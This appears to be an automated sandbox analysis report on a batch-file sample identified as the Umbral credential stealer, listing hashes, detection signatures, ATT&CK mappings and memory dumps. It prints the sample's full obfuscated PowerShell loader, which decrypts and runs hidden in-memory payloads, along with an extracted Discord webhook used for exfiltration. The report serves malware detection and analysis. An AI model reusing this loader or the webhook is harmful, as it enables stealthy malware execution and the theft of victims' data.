umbral | a636e320333aa10ae6dfc2a18feedb06ca11fff33fbdcf4c6d535422275c8149

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
18-10-2024 17:08

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General

Target

stub.bat
Size

257KB
MD5

192df095e220a68594056863421831b0
SHA1

331e2fa042bdfe106939ef51aed189bcacc56779
SHA256

a636e320333aa10ae6dfc2a18feedb06ca11fff33fbdcf4c6d535422275c8149
SHA512

ef1f5d579324ae2e5629ac22d7c5d15d022c5455e93da8ac727da4d3aae4b9c17e0edcad2e6fe2b63a06f88dffbfd8df27db7fef287f26d41418b452eb221378
SSDEEP

3072:MgIX3vJ9uIgVvEcPPJ2WeutPPYd0V6764o2CHZhPM8Kci/rm:MgYv3gVvvp2mISg78HTMx/rm

Score

10^/10

umbral execution stealer

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1296881939680067706/okFqaYEnuvQco166VZj_g8SUGXfI3gHhci3ydc2yt4jOftBorAOa8oTp8XqfdvrJdaQ4

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4580-15-0x000001EEC4B00000-0x000001EEC4B48000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4580	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4580	powershell.exe
4580	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4580	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1608 wrote to memory of 4580	1608	cmd.exe	88
PID 1608 wrote to memory of 4580	1608	cmd.exe	88

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\stub.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S+hmuoVda8BWME8yLmZZKXTSyvWFoMlikBXuCoYuiPc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wtRzFSQM1SqfOLu7Qbnusg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nxqfn=New-Object System.IO.MemoryStream(,$param_var); $lrckP=New-Object System.IO.MemoryStream; $CanxX=New-Object System.IO.Compression.GZipStream($nxqfn, [IO.Compression.CompressionMode]::Decompress); $CanxX.CopyTo($lrckP); $CanxX.Dispose(); $nxqfn.Dispose(); $lrckP.Dispose(); $lrckP.ToArray();}function execute_function($param_var,$param2_var){ $odOdG=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $rWFbP=$odOdG.EntryPoint; $rWFbP.Invoke($null, $param2_var);}$CphvX = 'C:\Users\Admin\AppData\Local\Temp\stub.bat';$host.UI.RawUI.WindowTitle = $CphvX;$wqkCO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($CphvX).Split([Environment]::NewLine);foreach ($ePOCw in $wqkCO) { if ($ePOCw.StartsWith(':: ')) { $kiKqU=$ePOCw.Substring(3); break; }}$payloads_var=[string[]]$kiKqU.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4580

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_iphszn5r.qpa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4580-0-0x00007FFA80D13000-0x00007FFA80D15000-memory.dmp

Filesize
8KB

Download
memory/4580-6-0x000001EEC28D0000-0x000001EEC28F2000-memory.dmp

Filesize
136KB

Download
memory/4580-11-0x00007FFA80D10000-0x00007FFA817D1000-memory.dmp

Filesize
10.8MB

Download
memory/4580-12-0x00007FFA80D10000-0x00007FFA817D1000-memory.dmp

Filesize
10.8MB

Download
memory/4580-13-0x000001EEC2910000-0x000001EEC2918000-memory.dmp

Filesize
32KB

Download
memory/4580-14-0x000001EEC4AE0000-0x000001EEC4B02000-memory.dmp

Filesize
136KB

Download
memory/4580-15-0x000001EEC4B00000-0x000001EEC4B48000-memory.dmp

Filesize
288KB

Download
memory/4580-18-0x00007FFA80D13000-0x00007FFA80D15000-memory.dmp

Filesize
8KB

Download
memory/4580-19-0x00007FFA80D10000-0x00007FFA817D1000-memory.dmp

Filesize
10.8MB

Download
memory/4580-20-0x00007FFA80D10000-0x00007FFA817D1000-memory.dmp

Filesize
10.8MB

Download